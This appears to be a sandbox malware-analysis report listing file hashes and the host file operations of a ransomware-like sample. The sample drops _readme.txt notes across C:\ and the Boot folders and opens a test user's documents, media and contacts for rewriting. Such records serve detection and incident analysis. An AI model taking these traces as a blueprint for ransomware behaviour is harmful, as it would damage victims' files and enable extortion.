C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml 914 bytes MD5: 7398d7d1e24813703302bb4fedf090b5
SHA1: cd0ee95aff82aedd0f03e9d748e4dd84dee6cff7
SHA256: 9ba946ecdee696772cb6d27944c27f64ab5608fc0efec7c628d132305db78251
SSDeep: 24:dWVeGmbimHR7JipQ4duK/60kb+IU2V1fLoKDC4LZbD:Gmbi0vQ/60kb+B2Low1D 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp 26.37 KB MD5: 27b6eee568bde00e834ed1f2a8ed00f7
SHA1: e2c75000eef46149445c2698c3acdd163e281942
SHA256: 2ff013bc71fab7350eaa705c304f488f6babe2ca79852896f17a115c03eaa31f
SSDeep: 768:KmLXHmqdUMXC8pFgYS4LPJ35zpwhBpRAFa9WN:K4cMNPzp5K8N 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg 60.02 KB MD5: a8c1605317482b2c5081fd2bdc6f64ff
SHA1: 9cd59b71525672e337b83f2ef5e27143888a15f6
SHA256: e73bb66b4f1f7f704f6610249211c8749f3d6c46f32c000f4640a59522255a22
SSDeep: 1536:fYhfm4QSIcEUmT4SxiG/l1/X13AgwWMLeuRVp5EtiwjkMG4COF:AhOrSdEUtG/fX1AgfMKMVpuRGpY 		False
...
Host Behavior
File (1662)
»
Operation Filename Additional Information Success Count Logfile
Create C:\SystemID\PersonalID.txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Boot\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Config.Msi\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\cs-CZ\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\da-DK\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\de-DE\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\el-GR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\en-US\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\es-ES\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\fi-FI\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\Fonts\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\fr-FR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\hu-HU\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\it-IT\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\ja-JP\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\ko-KR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\nb-NO\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\nl-NL\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\pl-PL\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\pt-BR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\pt-PT\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\ru-RU\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\sv-SE\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\tr-TR\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\zh-CN\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\zh-HK\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Boot\zh-TW\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\_readme.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\BOOTSECT.BAK desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG1 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BCD.LOG2 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\BOOTSTAT.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\memtest.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\cs-CZ\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\da-DK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\de-DE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\el-GR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\en-US\memtest.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\es-ES\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fi-FI\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\chs_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\cht_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\jpn_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\kor_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\Fonts\wgl4_boot.ttf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\fr-FR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\hu-HU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\it-IT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ja-JP\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ko-KR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nb-NO\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\nl-NL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pl-PL\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-BR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\pt-PT\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\ru-RU\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\sv-SE\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\tr-TR\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-CN\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-HK\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Boot\zh-TW\bootmgr.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\NTUSER.DAT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
